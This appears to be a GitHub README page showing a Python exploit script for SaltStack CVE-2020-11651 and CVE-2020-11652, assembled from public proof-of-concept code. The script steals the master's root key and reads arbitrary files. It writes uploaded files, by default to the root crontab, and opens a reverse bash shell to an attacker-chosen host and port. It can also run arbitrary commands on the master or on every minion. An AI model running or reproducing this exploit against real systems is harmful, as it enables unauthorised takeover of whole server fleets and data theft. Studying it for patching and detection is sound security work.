README.md
Rendering markdown...
#BASE https://github.com/sokoban/attack_code_PoC/blob/b56e35040928dad915bc496c6c49616976aad3a1/CVE-2020-11652.py
#BASE https://github.com/dozernz/cve-2020-11651/blob/7de1b876f43fe451a82ec4481045528357b0faae/CVE-2020-11651.py
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import os
import sys
import salt
import salt.version
import salt.transport.client
import salt.exceptions
DEBUG = False
def init_minion(master_ip, master_port):
minion_config = {
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': master_ip,
'master_port': master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
}
return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
def check_salt_version():
print("[+] Salt version: {}".format(salt.version.__version__))
vi = salt.version.__version_info__
if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
return True
else:
return False
def check_connection(master_ip, master_port, channel):
print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
sys.stdout.flush()
try:
channel.send({'cmd':'ping'}, timeout=2)
except salt.exceptions.SaltReqTimeoutError:
print("OFFLINE")
sys.exit(1)
def check_CVE_2020_11651(channel):
print("\n[+] Read root_key... ", end='')
sys.stdout.flush()
# try to evil
try:
rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("YES")
except:
print("ERROR")
raise
else:
pass
finally:
if rets:
root_key = rets[2]['root']
return root_key
return None
def pwn_read_file(channel, root_key, path, master_ip):
# print("[+] Attemping to read {} from {}".format(path, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': path,
'saltenv': 'base',
}
rets = channel.send(msg, timeout=3)
print(rets['data']['return'][0][path])
def pwn_upload_file(channel, root_key, src, dest, master_ip):
print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))
sys.stdout.flush()
try:
fh = open(src, 'rb')
payload = fh.read()
fh.close()
except Exception as e:
print('Failed to read {}: {}'.format(src, e))
return
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'saltenv': 'base',
'data': payload,
'path': dest,
}
rets = channel.send(msg, timeout=3)
print(rets['data']['return'])
def pwn_getshell(channel, root_key, LHOST, LPORT):
msg = {"key":root_key,
"cmd":"runner",
'fun': 'salt.cmd',
"kwarg":{
"fun":"cmd.exec_code",
"lang":"python3",
"code":"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format(LHOST, LPORT)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = channel.send(msg,timeout=3)
print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")
return True
except:
print("something failed")
return False
def pwn_exec(channel, root_key, exec_cmd, master_or_minions):
if master_or_minions == "master":
msg = {"key":root_key,
"cmd":"runner",
'fun': 'salt.cmd',
"kwarg":{
"fun":"cmd.exec_code",
"lang":"python3",
"code":"import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = channel.send(msg,timeout=3)
print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")
return True
except:
print("something failed")
return False
if master_or_minions == "minions":
print("Sending command to all minions on master")
jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
cmd = "/bin/sh -c '{0}'".format(exec_cmd)
msg = {'cmd':"_send_pub","fun":"cmd.run","arg":[cmd],"tgt":"*","ret":"","tgt_type":"glob","user":"root","jid":jid}
try:
response = channel.send(msg,timeout=3)
if response == None:
return True
else:
return False
except:
return False
def main():
parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')
parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')
parser.add_argument('--port', '-p', dest='master_port', default='4506')
parser.add_argument('--shell-LHOST', '-lh', dest='Remote_listen_host')
parser.add_argument('--shell-LPORT', '-lp', dest='Remote_listen_ip')
parser.add_argument('--exec-choose', '-c', dest='master_or_minions')
parser.add_argument('--exec-cmd', '-e', dest='exec_cmd')
parser.add_argument('--read', '-r', dest='read_file')
parser.add_argument('--upload-src', dest='upload_src')
parser.add_argument('--upload-dest', dest='upload_dest', default='/var/spool/cron/crontabs/root')
parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')
args = parser.parse_args()
if args.debug:
DEBUG = True
channel = init_minion(args.master_ip, args.master_port)
check_connection(args.master_ip, args.master_port, channel)
root_key = check_CVE_2020_11651(channel)
if root_key:
print('root key: {}'.format(root_key))
else:
print('[-] Failed to find root key...')
sys.exit(127)
if args.read_file:
pwn_read_file(channel, root_key, args.read_file, args.master_ip)
if args.upload_src:
pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)
if args.Remote_listen_host:
pwn_getshell(channel, root_key, args.Remote_listen_host, args.Remote_listen_ip)
if args.master_or_minions:
pwn_exec(channel, root_key, args.exec_cmd, args.master_or_minions)
if __name__ == '__main__':
main()